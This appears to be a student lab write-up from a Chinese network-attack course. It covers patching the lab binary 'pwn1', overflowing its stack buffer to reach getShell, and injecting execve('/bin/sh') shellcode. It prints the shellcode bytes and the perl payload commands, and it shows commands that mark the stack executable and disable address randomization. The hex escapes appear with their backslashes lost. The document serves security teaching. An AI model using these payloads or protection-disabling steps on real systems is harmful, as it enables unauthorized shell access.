zoukankan      html  css  js  c++  java
  • 2019-2020 20175122邱昕《网络对抗技术》Exp1 PC平台逆向破解

    实践内容

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    除了main和foo,该可执行文件中还包含一个getShell代码片段,正常运行情况下这个getshell不会执行,我们的目的就是想办法运行这个代码片段

    三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    实践步骤

    任务一 直接修改程序机器指令,改变程序执行流程

    思路:修改机器指令强行跳转地址

    1.下载pwn1兵进行反汇编

    第一列为内存地址,第二列为机器指令,第三列为汇编指令。

    我们找到了执行跳转的语句main第四行call 8048491<foo>,它对应的机器指令为e8 d7ffffff,内存地址为80484b5

    e8就是call指令的机器指令,即跳转。

    d7ffffff就是要跳转的地址

    如图

    此时eip的地址为8048ba,执行的话会执行eip d7ffffff指令

    我们想让他调用getshell,修改d7ffffff为getshell-80484ba对应的补码

    经过计算得到c3 ffffff

     2.对pwn1文件进行修改

    打开pwn1文件

    乱码

    esc后输入:%!xxd -r

    输入/e8 d7找到位置

    将d7改为c3再转换为原格式保存退出

    再次反汇编验证如图已经将d7改为了c3,且是getshell函数

    运行pwn1且成功运行shell

    任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

    思路

    先安装gdb,后运行gdb pwn1,输入r进行调试

    输入111111222222333333444444555555666666观察寄存器

    显示eip            0x36363636          0x36363636

    即6666,所以eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"6666"覆盖

    我们再次输入字符串1111111122222222333333334444444412345678

    进行观察

    由于eip是0x34333231即1234,所以就要把字符串中会覆盖EIP的字符替换成getShell的地址

    将getShell的地址0x0804847d把后面的数值替换,即是输入11111111222222223333333344444444x7dx84x04x08

    因为我们没法通过键盘输入x7dx84x04x08的16进制值,所以先要生成包括这样字符串的一个文件。x0a表示回车,

    如果没有的话,在程序运行时就需要手工按一下回车键。于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。

    通过管道符号    |    再将input文件作为pwn1的输入。

    任务三 注入Shellcode并执行

    准备工作

    准备shellcode指令

    使用老师给的指令x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    安装软件包兵进行一系列准备工作

    root@20175122:/home/kali/Desktop# execstack -s pwn1     设置堆栈可执行
    root@20175122:/home/kali/Desktop# execstack -q pwn1     查询文件的堆栈是否可执行
    X pwn1
    root@20175122:/home/kali/Desktop# more /proc/sys/kernel/randomize_va_space    查看内存地址随机化的参数
    2
    root@20175122:/home/kali/Desktop# echo "0" > /proc/sys/kernel/randomize_va_space     关闭地址随机化
    root@20175122:/home/kali/Desktop# more /proc/sys/kernel/randomize_va_space
    0

    进行攻击

    首先我们还是要生成一个文件来让pwn1完成输入

    使用perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    将该文件导入pwn1并运行

    打开另一个终端进行调试

    利用ps -ef | grep pwn1发现进程号为2896

    输入gdb进入调试界面,然后输入attach 2896调试这个进程

    输入命令disassemble foo查看ret的进程值为0x080484ae

    输入命令0x080484ae0x080484ae处设置断点,查看注入buf的内存地址。

    在第一个终端回车,在第二个终端输入c

    输入指令info r esp查看查看栈顶指针所在的位置,并查看改地址存放的数据

    因为结构为anything+retaddr+nops+shellcode。

    所以0xffffd6ec存放的是01020304,也就是返回地址。

    因此,修改input_shellcode文件中的代码:

    perl -e 'print "A" x 32;print "xf4xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    并再次利用  |   输入,就能成功攻击了

     

    四、实验感想

    网络对抗的第一次实验,我没有学习过有关java或linux的课程,做起来有些吃力,但在查阅资料和同学的帮助下,还是成功完成了本次实验,知道了很多以前我从来不知道的知识,包括16进制需要创建文件来导入,栈的更多知识,以前在学汇编的时候明白了溢出攻击的原理,今天成功的自己做了出来,成就感很强。另外,对着老师或者同学学长学姐的博客是不能成功做出本次实验的,需要理解,包括进程编号,内存地址,每台电脑的不一样,因此,每台电脑需要创建的注入攻击所用的文件也不一样。

    在接下来的学习中我将逐渐补全linux的知识和操作,争取早日跟上大家的脚步

    五、课后问题

    什么是漏洞?漏洞有什么危害?

    本次实验的漏洞实在软件的实现上存在缺陷,可以使攻击者在未授权的情况下访问或者破坏系统。

    漏洞的出现能使一些本来能正常运行的软硬件出现使用的问题,影响到人们正常的工作学习。

  • 相关阅读:
    Asynchronous AOF fsync is taking too long (disk is busy?). Writing the AOF buffer without waiting for fsync to complete, this may slow down Redis.
    DHCP "No subnet declaration for xxx (no IPv4 addresses)" 报错
    Centos安装前端开发常用软件
    kubernetes学习笔记之十:RBAC(二)
    k8s学习笔记之StorageClass+NFS
    k8s学习笔记之ConfigMap和Secret
    k8s笔记之chartmuseum搭建
    K8S集群集成harbor(1.9.3)服务并配置HTTPS
    Docker镜像仓库Harbor1.7.0搭建及配置
    Nginx自建SSL证书部署HTTPS网站
  • 原文地址:https://www.cnblogs.com/qiuxin/p/12436320.html
Copyright © 2011-2022 走看看